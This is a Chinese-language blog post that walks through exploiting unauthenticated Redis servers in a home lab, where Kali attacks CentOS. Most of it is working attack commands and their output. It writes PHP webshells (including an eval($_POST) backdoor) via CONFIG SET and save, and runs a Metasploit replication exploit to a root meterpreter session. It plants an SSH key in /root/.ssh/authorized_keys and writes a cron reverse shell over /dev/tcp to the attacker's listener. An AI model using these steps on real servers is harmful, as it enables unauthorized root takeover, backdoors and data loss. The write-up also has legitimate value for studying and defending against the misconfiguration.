Lluna's Pure land.

What is life like when singing to wine?

0%

Redis未授权访问

Redis未授权访问漏洞

一、漏洞简介

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二、影响范围

Redis 2.x,3.x,4.x,5.x

三、漏洞危害

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据

(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

四、复现过程

环境:

kali:192.168.1.7

redis(centos7):192.168.1.9

1.环境安装

本次使用4.0.0

1
2
3
4
5
6
7
8
9
10
11
从官网wget到本地
wget http://download.redis.io/releases/redis-4.0.0.tar.gz
tar xzf redis-4.0.0.tar.gz
make && make install

去掉ip绑定,允许除本地外的主机远程登录redis服务
(1)bind 127.0.0.1前面加上##号注释掉 或者更改成 0.0.0.0
(2)protected-mode设为no

启动
redis-server redis.conf

登入

1
2
3
4
5
┌──(root💀kali)-[~]
└─# redis-cli -h 192.168.1.9
192.168.1.9:6379> keys *
(empty list or set)
192.168.1.9:6379>

攻击者常用命令

1
2
3
4
5
6
7
8
9
(1)info                       查看信息     
(2)flushall 删除所有缓存数据库:
(3)flushdb 刷新数据库
(4)看所有键:KEYS *,使用select num可以查看键值数据。
(5)set test "who am i" 设置变量
(6)config set dir dirpath 设置路径等配置
(7)config get dir/dbfilename 获取路径及数据配置信息
(8)save 保存
(9)get 变量,查看变量名称

2.漏洞利用

01.写入后门文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
192.168.1.9:6379> CONFIG SET dir /tmp
OK
192.168.1.9:6379> CONFIG SET dbfilename shell.php
OK
192.168.1.9:6379> SET webshell "<?php phpinfo();?>"
OK
192.168.1.9:6379> save
OK

[root@mail tmp]# ll shell.php
-rw-r--r--. 1 root root 191 Jul 18 02:19 shell.php
[root@mail tmp]# cat shell.php
REDIS0008▒ redis-ver4.0.0▒
redis-bits▒@▒ctime▒▒▒▒`used-mem�▒

aof-preamble▒▒repl-id(2bb416a4f7439bfd8932320f435556c4747d5e64▒
repl-offset▒▒webshell<?php phpinfo();?>▒hތ▒S▒+,[root@mail tmp]# xterm-256colorxterm-256color
-bash: xterm-256colorxterm-256color: command not found
[root@mail tmp]#

另一种写入webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
192.168.1.9:6379> CONFIG SET dir /tmp
OK
192.168.1.9:6379> SET demo "\n\n\n<?php eval($_POST['pass']);?>\n\n\n"
OK
192.168.1.9:6379> CONFIG SET dbfilename web.php
OK
192.168.1.9:6379> save
OK
192.168.1.9:6379>

[root@mail tmp]# cat web.php
REDIS0008▒ redis-ver4.0.0▒
redis-bits▒@▒ctime▒▒`used-mem▒؜

aof-preamble▒▒repl-id(2bb416a4f7439bfd8932320f435556c4747d5e64▒
repl-offset▒▒▒demo#


<?php eval($_POST['pass']);?>

▒▒?▒▒/▒[root@mail tmp]# xterm-256colorxterm-256color
-bash: xterm-256colorxterm-256color: command not found
[root@mail tmp]#

02.MSF进行利用

共有5个模块可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msf6 > search redis

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/ibm_bigfix_sites_packages_enum 2019-03-18 normal No IBM BigFix Relay Server Sites and Package Enum
1 exploit/windows/browser/ie_createobject 2006-04-11 excellent No MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution
2 auxiliary/scanner/redis/redis_server normal No Redis Command Execute Scanner
3 auxiliary/gather/redis_extractor normal Yes Redis Extractor
4 auxiliary/scanner/redis/file_upload 2015-11-11 normal No Redis File Upload
5 auxiliary/scanner/redis/redis_login normal No Redis Login Utility
6 exploit/linux/redis/redis_replication_cmd_exec 2018-11-13 good Yes Redis Replication Code Execution
7 exploit/windows/browser/webex_ucf_newobject 2008-08-06 good No WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow
8 exploit/windows/browser/ms07_017_ani_loadimage_chunksize 2007-03-28 great No Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
9 exploit/windows/email/ms07_017_ani_loadimage_chunksize 2007-03-28 great No Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)


Interact with a module by name or index. For example info 9, use 9 or use exploit/windows/email/ms07_017_ani_loadimage_chunksize
1.exploit/linux/redis/redis_replication_cmd_exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
msf6 > use 6
msf6 exploit(linux/redis/redis_replication_cmd_exec) > options

Module options (exploit/linux/redis/redis_replication_cmd_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM true yes Whether compile payload file during exploiting
PASSWORD foobared no Redis password for authentication test
RHOSTS 192.168.1.9 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
SRVHOST 192.168.1.7 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 6379 yes The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic


msf6 exploit(linux/redis/redis_replication_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.7:4444
[*] 192.168.1.9:6379 - Compile redis module extension file
[+] 192.168.1.9:6379 - Payload generated successfully!
[*] 192.168.1.9:6379 - Listening on 192.168.1.7:6379
[*] 192.168.1.9:6379 - Rogue server close...
[*] 192.168.1.9:6379 - Sending command to trigger payload.
[*] Sending stage (3012548 bytes) to 192.168.1.9
[+] 192.168.1.9:6379 - Deleted ./enfgrk.so
[*] Meterpreter session 1 opened (192.168.1.7:4444 -> 192.168.1.9:58410) at 2021-07-18 02:37:24 -0400

meterpreter >
meterpreter > pwd
/root/redis-4.0.0
meterpreter > shell
Process 10556 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2.auxiliary/scanner/redis/redis_server

此模块用户扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 auxiliary(scanner/redis/redis_server) > options

Module options (auxiliary/scanner/redis/redis_server):

Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND INFO yes The Redis command to run
PASSWORD foobared no Redis password for authentication test
RHOSTS 192.168.1.9 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/redis/redis_server) > run

[+] 192.168.1.9:6379 - Found redis with INFO command: $2694\x0d\x0a# Server\x0d\x0aredis_version:4.0.0\x0d\x0aredis_git_sha1:00000000\x0d\x0aredis_git_dirty:0\x0d\x0aredis_build_id:8f4dd5fce9e38cfa\x0d\x0aredis_mode:standalone\x0d\x0aos:Linux 3.10.0-1062.el7.x86_64 x86_64\x0d\x0aarch_bits:64\x0d\x0amultiplexing_api:epoll\x0d\x0aatomicvar_api:atomic-builtin\x0d\x0agcc_version:4.8.5\x0d\x0aprocess_id:10244\x0d\x0arun_id:ce9cb5cafbefebe80c08eec34aaa9072942ee567\x0d\x0atcp_port:6379\x0d\x0auptime_in_seconds:3107\x0d\x0auptime_in_days:0\x0d\x0ahz:10\x0d\x0alru_clock:15980436\x0d\x0aexecutable:/root/redis-4.0.0/redis-server\x0d\x0aconfig_file:/root/redis-4.0.0/redis.conf\x0d\x0a\x0d\x0a# Clients\x0d\x0aconnected_clients:1\x0d\x0aclient_longest_output_list:0\x0d\x0aclient_biggest_input_buf:0\x0d\x0ablocked_clients:0\x0d\x0a\x0d\x0a# Memory\x0d\x0aused_memory:828920\x0d\x0aused_memory_human:809.49K\x0d\x0aused_memory_rss:8384512\x0d\x0aused_memory_rss_human:8.00M\x0d\x0aused_memory_peak:849320\x0d\x0aused_memory_peak_human:829.41K\x0d\x0aused_memory_peak_perc:97.60%\x0d\x0aused_memory_overhead:815206\x0d\x0aused_memory_startup:765576\x0d\x0aused_memory_dataset:13714\x0d\x0aused_memory_dataset_perc:21.65%\x0d\x0atotal_system_memory:1907818496\x0d\x0atotal_system_memory_human:1.78G\x0d\x0aused_memory_lua:37888\x0d\x0aused_memory_lua_human:37.00K\x0d\x0amaxmemory:0\x0d\x0amaxmemory_human:0B\x0d\x0amaxmemory_policy:noeviction\x0d\x0amem_fragmentation_ratio:10.11\x0d\x0amem_allocator:jemalloc-4.0.3\x0d\x0aactive_defrag_running:0\x0d\x0alazyfree_pending_objects:0\x0d\x0a\x0d\x0a# Persistence\x0d\x0aloading:0\x0d\x0ardb_changes_since_last_save:0\x0d\x0ardb_bgsave_in_progress:0\x0d\x0ardb_last_save_time:1626590065\x0d\x0ardb_last_bgsave_status:ok\x0d\x0ardb_last_bgsave_time_sec:-1\x0d\x0ardb_current_bgsave_time_sec:-1\x0d\x0ardb_last_cow_size:0\x0d\x0aaof_enabled:0\x0d\x0aaof_rewrite_in_progress:0\x0d\x0aaof_rewrite_scheduled:0\x0d\x0aaof_last_rewrite_time_sec:-1\x0d\x0aaof_current_rewrite_time_sec:-1\x0d\x0aaof_last_bgrewrite_status:ok\x0d\x0aaof_last_write_status:ok\x0d\x0aaof_last_cow_size:0\x0d\x0a\x0d\x0a# Stats\x0d\x0atotal_connections_received:8\x0d\x0atotal_commands_processed:19\x0d\x0ainstantaneous_ops_per_sec:0\x0d\x0atotal_net_input_bytes:135811\x0d\x0atotal_net_output_bytes:10866\x0d\x0ainstantaneous_input_kbps:0.00\x0d\x0ainstantaneous_output_kbps:0.00\x0d\x0arejected_connections:0\x0d\x0async_full:0\x0d\x0async_partial_ok:0\x0d\x0async_partial_err:0\x0d\x0aexpired_keys:0\x0d\x0aevicted_keys:0\x0d\x0akeyspace_hits:0\x0d\x0akeyspace_misses:0\x0d\x0apubsub_channels:0\x0d\x0apubsub_patterns:0\x0d\x0alatest_fork_usec:0\x0d\x0amigrate_cached_sockets:0\x0d\x0aslave_expires_tracked_keys:0\x0d\x0aactive_defrag_hits:0\x0d\x0aactive_defrag_misses:0\x0d\x0aactive_defrag_key_hits:0\x0d\x0aactive_defrag_key_misses:0\x0d\x0a\x0d\x0a# Replication\x0d\x0arole:master\x0d\x0aconnected_slaves:0\x0d\x0amaster_replid:17593e6719397e611d460c1dabbc2367aaef7a0c\x0d\x0amaster_replid2:0d01cdc14e2ca06ce5125014632c67982313d816\x0d\x0amaster_repl_offset:0\x0d\x0asecond_repl_offset:1\x0d\x0arepl_backlog_active:0\x0d\x0arepl_backlog_size:1048576\x0d\x0arepl_backlog_first_byte_offset:0\x0d\x0arepl_backlog_histlen:0\x0d\x0a\x0d\x0a# CPU\x0d\x0aused_cpu_sys:2.68\x0d\x0aused_cpu_user:0.86\x0d\x0aused_cpu_sys_children:0.15\x0d\x0aused_cpu_user_children:0.01\x0d\x0a\x0d\x0a# Cluster\x0d\x0acluster_enabled:0\x0d\x0a\x0d\x0a# Keyspace
[*] 192.168.1.9:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/redis/redis_server) >
3.auxiliary/gather/redis_extractor

获取版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf6 auxiliary(gather/redis_extractor) > options

Module options (auxiliary/gather/redis_extractor):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD foobared no Redis password for authentication test
RHOSTS 192.168.1.9 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)

msf6 auxiliary(gather/redis_extractor) > run

[+] 192.168.1.9:6379 - Connected to Redis version 4.0.0
[*] 192.168.1.9:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/redis_extractor) >

03.写入SSH公钥实现SSH登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

kali先生成ssh公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root💀kali)-[~]
└─# ssh-keygen -t rsa 1 ⨯
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:v7Cz1OKpvm8nlkBgWEmfcXmle+dprjPETRabUpr2pYk root@kali
The key's randomart image is:
+---[RSA 3072]----+
| +o.. .. .. |
| . +. +. .. o |
| . .o .. + + |
| . .= = .|
| . S .o.B.+ |
| . o .Eo=. |
| .+.o. + |
| o*=..oo |
| .+**=. .+. |
+----[SHA256]-----+

将公钥写入key.txt

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~]
└─# (echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n")>key.txt
┌──(root💀kali)-[~]
└─# cat key.txt


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPQNEvzuCM3mruZvGSf1h6N56NItvVRApcAcPZQqsG8hnTmQCqPMucVqVNJEaPn9/EcOLayXtPkiS8HjEqUBg3OqMJS7YdCedx89uUk2zD4MxbBY4HjBn0zRgtDlGBbopDPnbPIok1jM9agFsHp3hJUlspBHMvKha6iZOGZZOAnjy/Aa4VV9u/idPhpqyIdXKv+EsJ/hgKP27kgxc+sFmm0AUj+KrhoIc7Ah5lW14w+GRSIpxcYfU3Fv9qydOm4bJ4HR/8Fqq15VLUpkfLy93okLDaaK1FZYyQ9cF+2dvrn9hcCFvxX8fQ7D6Xi3AxsWt3L4dWioM9CmEeSCa/vqP3IiAI2rkbq5A6uW+ydDE16OTgDEPQjjInqfy5T/jrqb2OeBaJ4ro7cr04hQWJ/PO6a9+XlW3kEYnb2kdJy3AgBOFAOyhdzY20/8frUJLEyQix6TKC9JCqOp3uGY2z33KseJzPka6tC+Dzco0Y010WQMutneRf+Li5YADJagHPBWU= root@kali


将key.txt写入redis缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root💀kali)-[~]
└─# cat key.txt | redis-cli -h 192.168.1.9 -x set key
OK

#这里可能需要关闭RDB持久化 192.168.1.9:6379> config set stop-writes-on-bgsave-error no

┌──(root💀kali)-[~]
└─# redis-cli -h 192.168.1.9
192.168.1.9:6379>
192.168.1.9:6379> CONFIG SET dir /root/.ssh
OK
192.168.1.9:6379> CONFIG SET dbfilename authorized_keys
OK
192.168.1.9:6379> save
OK

登入

1
2
3
4
┌──(root💀kali)-[~]
└─# ssh -i /root/.ssh/id_rsa root@192.168.1.9
Last login: Sun Jul 18 23:57:55 2021 from 192.168.1.7
[root@mail ~]#

04.corn定时任务反弹shell

kali监听

1
2
3
4
5
┌──(root💀kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...


kali登入redis写入反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~]
└─# redis-cli -h 192.168.1.9
192.168.1.9:6379> set demo "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.7/4444 0>&1\n\n"
OK
192.168.1.9:6379> config set dir /var/spool/cron
OK
192.168.1.9:6379> config set dbfilename root
OK
192.168.1.9:6379> save
OK
192.168.1.9:6379>

#前后用\n换行,避免和redis里其他缓存数据混合

得到shell

1
2
3
4
5
6
7
┌──(root💀kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.7] from (UNKNOWN) [192.168.1.9] 35030
bash: no job control in this shell
[root@mail ~]#

-------------纸短情长下次再见-------------